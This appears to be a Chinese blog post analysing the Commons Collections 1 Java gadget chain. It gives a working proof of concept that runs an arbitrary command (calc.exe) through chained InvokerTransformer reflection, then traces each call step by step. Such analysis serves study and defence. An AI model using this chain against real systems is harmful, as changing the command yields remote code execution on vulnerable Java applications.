CommonCollections1

CommonCollections1

poc展示

这是一段POC,运行后会弹出一个计算器。

import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class test {

    public static void main(String[] args) throws Exception {
        //此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
                //new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {Class.forName("java.lang.Runtime"), new Object[0] }),
				new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
        };

        //将transformers数组存入ChaniedTransformer这个继承类
        Transformer transformerChain = new ChainedTransformer(transformers);

        //创建Map并绑定transformerChina
        Map innerMap = new HashMap();
        innerMap.put("value", "value");
        //给予map数据转化链
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
  
        Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
        //outerMap后一串东西,其实就是获取这个map的第一个键值对(value,value);然后转化成Map.Entry形式,这是map的键值对数据格式
        //触发漏洞
		onlyElement.setValue("foobar");
    }
}

调用链分析

先debug一下看看调用链,整个过程从onlyElement.setValue("foobar")​开始,每段代码只取相关的片段。

源码的注释需要下载CommonsCollections源码查看,debug时是没有的。

AbstractInputCheckedMapDecorator

// org. apache. commons. collections. map. AbstractInputCheckedMapDecorator
 	protected abstract Object checkSetValue(Object var1);//3
    /**
     * Implementation of a map entry that checks additions via setValue.
     */
    static class MapEntry extends AbstractMapEntryDecorator {
        private final AbstractInputCheckedMapDecorator parent;

		/** The parent map */
        protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
            super(entry);
            this.parent = parent;
        }

        public Object setValue(Object value) {//1
            value = this.parent.checkSetValue(value);//2
            return this.entry.setValue(value);
        }
    }

如代码注释里的顺序所示,程序先到AbstractInputCheckedMapDecorator的子类MapEntry,在2处调用3处的checkSetValue,但是这里的checkSetValue是抽象函数,程序运行时会根据实例调用对应的实现。

checkSetValue对应的实现有两个如下:

image

根据poc的代码,这里会执行TransformMap里定义的checkSetValue。

TransformedMap

// org. apache. commons. collections. map. TransformedMap extends AbstractInputCheckedMapDecorator
	// 
    protected final Transformer keyTransformer;
    protected final Transformer valueTransformer;
    /**
     * Factory method to create a transforming map.
     * <p>
     * If there are any elements already in the map being decorated, they
     * are NOT transformed.
     * Constrast this with {@link #decorateTransform}.
     * 
     * @param map  the map to decorate, must not be null
     * @param keyTransformer  the transformer to use for key conversion, null means no transformation
     * @param valueTransformer  the transformer to use for value conversion, null means no transformation
     * @throws IllegalArgumentException if map is null
     */
    public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        return new TransformedMap(map, keyTransformer, valueTransformer);
    }
    /**
     * Constructor that wraps (not copies).
     */
    protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        super(map);
        this.keyTransformer = keyTransformer;
        this.valueTransformer = valueTransformer;
    }
    /**
     * Override to transform the value when using <code>setValue</code>.
     * 
     * @param value  the value to transform
     * @return the transformed value
     * @since Commons Collections 3.1
     */
    protected Object checkSetValue(Object value) {//1
        return this.valueTransformer.transform(value);//2
    }

该类是对上文AbstractInputCheckedMapDecorator的继承,实现了checkSetValue。

该类还与poc中Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain)​有关。

poc中构造的transformers变量先到transformerChain再到outerMap,outerMap是TransformedMap类型的一个实例。

2处的transform是接口Transformer中定义的类,程序运行时会根据实例调用对应的实现。

transform对应的实现有21个如下:

image

根据poc中的代码,这里会运行ChainedTransformer类实现的transform。

ChainedTransformer

// org. apache. commons. collections. functors. ChainedTransformer implements Transformer
	private final Transformer[] iTransformers;
    /**
     * Transforms the input to result via each decorated transformer
     * 
     * @param object  the input object passed to the first transformer
     * @return the transformed result
     */
    public Object transform(Object object) {//1
        for(int i = 0; i < this.iTransformers.length; ++i) {
            object = this.iTransformers[i].transform(object);//2
        }

        return object;
    }

ChainedTransformer实现了Transformer接口,实现了transform。

2处的transform也是接口Transformer中定义的类,程序运行时会根据实例调用对应的实现。

transform对应的实现有21个如下:

image

根据poc中transformers变量的定义,该循环会先调用一次ConstantTransformer中实现的transform,再调用三次InvokerTransformer中实现的transform。

ConstantTransformer

 // org. apache. commons. collections. functors. ConstantTransformer implements Transformer
    private final Object iConstant;

    public ConstantTransformer(Object constantToReturn) {
        this.iConstant = constantToReturn;
    }
    /**
     * Transforms the input by ignoring it and returning the stored constant instead.
     * 
     * @param input  the input object which is ignored
     * @return the stored constant
     */
    public Object transform(Object input) {//1
        return this.iConstant;//2
    }

根据poc中new ConstantTransformer(Runtime.class)​,2处返回的是java.lang.Runtime

InvokerTransformer

// org. apache. commons. collections. functors. InvokerTransformer
    private final String iMethodName;
    private final Class[] iParamTypes;
    private final Object[] iArgs;
	/**
     * Constructor that performs no validation.
     * Use <code>getInstance</code> if you want that.
     * 
     * @param methodName  the method to call
     * @param paramTypes  the constructor parameter types, not cloned
     * @param args  the constructor arguments, not cloned
     */
    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        this.iMethodName = methodName;
        this.iParamTypes = paramTypes;
        this.iArgs = args;
    }
    /**
     * Transforms the input to result by invoking a method on the input.
     * 
     * @param input  the input object to transform
     * @return the transformed result, null if null input
     */
    public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            Class cls = input.getClass();//1
            Method method = cls.getMethod(iMethodName, iParamTypes);//2
            return method.invoke(input, iArgs);//3
          
        } catch (NoSuchMethodException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
        }
    }

此处是整个poc的关键,关键代码是1、2、3处,这里和上面的java.lang.Runtime最终构成了Runtime.getRuntime().exec(“calc.exe”)。

下面重点分析此处代码。

poc分析

通过反射实现Runtime.getRuntime().exec(“calc.exe”)

需要了解Java反射以及forName、getMethod、invoke函数。

下面主要看下源码里对这三个函数的注释描述。

forName
    /**
     * Returns the Class object associated with the class or interface with the given string name.
     * @param      className   the fully qualified name of the desired class.
     * @return     the Class object for the class with the specified name.    
     */
    @CallerSensitive
    public static Class<?> forName(String className)
                throws ClassNotFoundException {
        Class<?> caller = Reflection.getCallerClass();
        return forName0(className, true, ClassLoader.getClassLoader(caller), caller);
    }
getMethod
    /**
     * Returns a Method object that reflects the specified public member method of the class or interface represented by this Class object.
     * The name parameter is a String specifying the simple name of the desired method.
     * The parameterTypes parameter is an array of Class objects that identify the method's formal parameter types, in declared order.
     * If parameterTypes is null, it is treated as if it were an empty array.
     * 
     * Static methods declared in superinterfaces of the class or interface
     * represented by this Class object are not considered members of
     * the class or interface.
     *
     * @param name the name of the method
     * @param parameterTypes the list of parameters
     * @return the Method object that matches the specified name and parameterTypes
     */
    @CallerSensitive
    public Method getMethod(String name, Class<?>... parameterTypes)
        throws NoSuchMethodException, SecurityException {
        checkMemberAccess(Member.PUBLIC, Reflection.getCallerClass(), true);
        Method method = getMethod0(name, parameterTypes, true);
        if (method == null) {
            throw new NoSuchMethodException(getName() + "." + name + argumentTypesToString(parameterTypes));
        }
        return method;
    }
invoke
    /**
     * Invokes the underlying method represented by this Method
     * object, on the specified object with the specified parameters.
	 *
     * If the underlying method is static, then the specified obj argument is ignored. It may be null
	 *
     * @param obj  the object the underlying method is invoked from
     * @param args the arguments used for the method call
     * @return the result of dispatching the method represented by
     */
	@CallerSensitive
    public Object invoke(Object obj, Object... args)
        throws IllegalAccessException, IllegalArgumentException,
           InvocationTargetException
    {
        if (!override) {
            if (!Reflection.quickCheckMemberAccess(clazz, modifiers)) {
                Class<?> caller = Reflection.getCallerClass();
                checkAccess(caller, clazz, obj, modifiers);
            }
        }
        MethodAccessor ma = methodAccessor;             // read volatile
        if (ma == null) {
            ma = acquireMethodAccessor();
        }
        return ma.invoke(obj, args);
    }

因此有

[Runtime类].getMethod([方法exec]).invoke([Runtime对象],[参数calc.exe])

由于Runtime的无参构造函数由private修饰,因为无法用newInstance构造,采用getRuntime方法构造。

因此有反射构造:

Class.forName("java.lang.Runtime")
                .getMethod("exec", String.class)
                .invoke(
                        Class.forName("java.lang.Runtime")
                                .getMethod("getRuntime")
                                .invoke(Class.forName("java.lang.Runtime"))//此处在获取类
                        ,
                        "calc.exe"
                );

invoke源码中对该函数有一段特别重要的注释,单独拿出来说:

If the underlying method is static, then the specified obj argument is ignored. It may be null

因为getMethod是static方法,因此反射构造可以改写为:

Class.forName("java.lang.Runtime")
                .getMethod("exec", String.class)
                .invoke(
                        Class.forName("java.lang.Runtime")
                                .getMethod("getRuntime")
                                .invoke(null)//此处在获取类
                        ,
                        "calc.exe"
                );

依据反射构造ChainedTransformer

InvokerTransformer里有一段重要代码是构造的关键:

Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);

改造一下便是:

input.getClass()
		.getMethod(iMethodName, iParamTypes)
		.invoke(input, iArgs)

根据该结构改造反射构造:

Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(null).getClass()
                .getMethod("exec", String.class)
                .invoke(
                        Class.forName("java.lang.Runtime")
                                .getMethod("getRuntime")
                                .invoke(null)//此处在获取类
                        ,
                        "calc.exe"
                );

即为了匹配样式,把Class.forName("java.lang.Runtime")​改为Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(null).getClass()​。

根据ChainedTransformer的源码可知,上一层transform的结果会是这一层transform的参数,因此有:

step1
Object input = Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(null)

return input.getClass()
		.getMethod("exec", String.class)
		.invoke(input, "calc.exe")

new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
step2
Object input = Class.forName("java.lang.Runtime").getMethod("getRuntime")

return input.getClass()
		.getMethod("invoke", new Class[] {Object.class, Object[].class})
		.invoke(input, new Object[] {null, new Object[0]})

new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, new Object[0]})
step3
Object input = Class.forName("java.lang.Runtime")

return input.getClass()
		.getMethod("getMethod", new Class[] {String.class, Class[].class})
		.invoke(input, new Object[] {"getRuntime", new Class[0]})

new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
step4
new ConstantTransformer(Runtime.class)

至此poc中的transformers构造完成

  • 15
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值